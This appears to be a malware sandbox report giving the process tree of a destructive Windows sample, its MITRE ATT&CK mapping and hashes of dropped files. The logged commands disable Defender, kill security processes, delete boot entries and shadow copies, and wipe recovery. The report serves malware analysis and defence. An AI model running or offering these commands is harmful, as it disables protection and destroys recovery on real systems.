    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3432,i,8391341447389594459,14808399795679164325,2097152 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:1
    3⤵
    PID:468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5100,i,9729059307928572515,13498806225599801445,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=5104 /prefetch:12
    3⤵
    PID:2732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5132,i,2056936571113092484,2105011137674521786,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:14
    3⤵
    PID:5752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5272,i,9378775152405653248,17255955848127580981,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:14
    3⤵
    PID:3368
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6108,i,17804968623083538421,2230325016523102191,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:14
    3⤵
    PID:2440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6156,i,6204129443313340533,1254240693374801916,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=6176 /prefetch:14
    3⤵
    PID:2756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6168,i,6703576951827818639,17601462650974961017,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:14
    3⤵
    PID:5876
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,8987740204734109128,11266869444048165501,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:14
    3⤵
    PID:5524
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=948
      4⤵
      PID:3096
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6336,i,12021409697883235812,3019841859965757147,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
    3⤵
    PID:4612
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6336,i,12021409697883235812,3019841859965757147,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
    3⤵
    PID:1996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5684,i,10582847283272412139,2880572097402325930,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:14
    3⤵
    PID:504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
  2⤵
  PID:5744
- - C:\Windows\system32\reg.exe
    REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
    3⤵
    - Modifies registry key
    PID:4028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:348
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:5752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:4024
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67_final.html
  2⤵
  PID:6044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:3908
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  PID:3684
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    PID:5140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  PID:1400
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    PID:860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4348
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:1160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:4744
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:2440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:6080
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:1180
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:6092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5104
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:2224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:5560
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:796
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:5636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5552
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:3568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:5592
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:3104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:4336
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:3124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5848
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:4220
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:5248
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:2260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:3876
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:5876
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:4616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:4880
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:4616
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:1688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:132
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:4880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:5888
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:2672

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:440

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004EC
1⤵
PID:3232

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
PID:3284
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:3020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:2148
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:848
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  PID:5844
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:2272
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:5092
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:5820
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:5980
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:3008
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:5156
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:3132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:5532
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:5388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:1824
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:4208
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:1616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:4956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:4640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:3124
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:4944
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:2260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4532
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4260
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5516
- C:\Windows\system32\cmd.exe
  cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:2024
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:3832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:2388
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:5888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:5068
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:5352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:2672
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:6084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:5828
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:1236
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:5436
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:1308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:5832
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:5752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:5472
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:1216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:5824
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:5636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:1748
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:4268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:2412
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:1184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:3132
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:1772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:2140
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:2684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:1116
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:1536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:4532
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:5068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:5352
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:6084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:5828
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:284

C:\Windows\explorer.exe
explorer.exe ,"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
1⤵
PID:5784

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4592

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:5100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5520

C:\Windows\system32\verclsid.exe
"C:\Windows\system32\verclsid.exe" /S /C {4234D49B-0245-4DF3-B780-3893943456E1} /I {000214E6-0000-0000-C000-000000000046} /X 0x401
1⤵
- System Binary Proxy Execution: Verclsid
PID:296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

System Binary Proxy Execution

T1218

Verclsid

T1218.012

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b24846f4bb01e57dd47994ee8ca33e14a6a356938971c33205ed76a4fe3c7b61
MD5 2415c177850265ec333bf407bedd2c4b
SHA1 2ccfbe660996437603bf4e0b70309310c3095994
SHA512 1a616d299248ea7424c92347e2568121b74d992540a7c2809c47f5e8113710d7965935a30c55d53ceef337cee1ae1bdbacfc42ed7e68109e206d0f729f22be4f
TLSH
T1E4D012663B4AB001E7698230E4C2C311267650E038864A01B254C81D99E41D86693186
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 90371bf7f2d9f3b60c0aa66ed89740cd725604cc541112971bd392e8746018f0
MD5 a9d241f865f7d582346ece871b98ee14
SHA1 c59a959f2a8673df7c09862b8f91a9e9492ec3cf
SHA512 4822e1484423dfa2530e9a541260d4dcddb675339b2e5fb22cf50c15d65cd0b147c7d94ff11a6d6523e90406c9ad88e5919ccc3fc5ec3b74cbfa28567977506e
TLSH
T1F3D01266374AB001E76D8230E4C2C311266654E038864A01B214C81D99A41D86293186
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
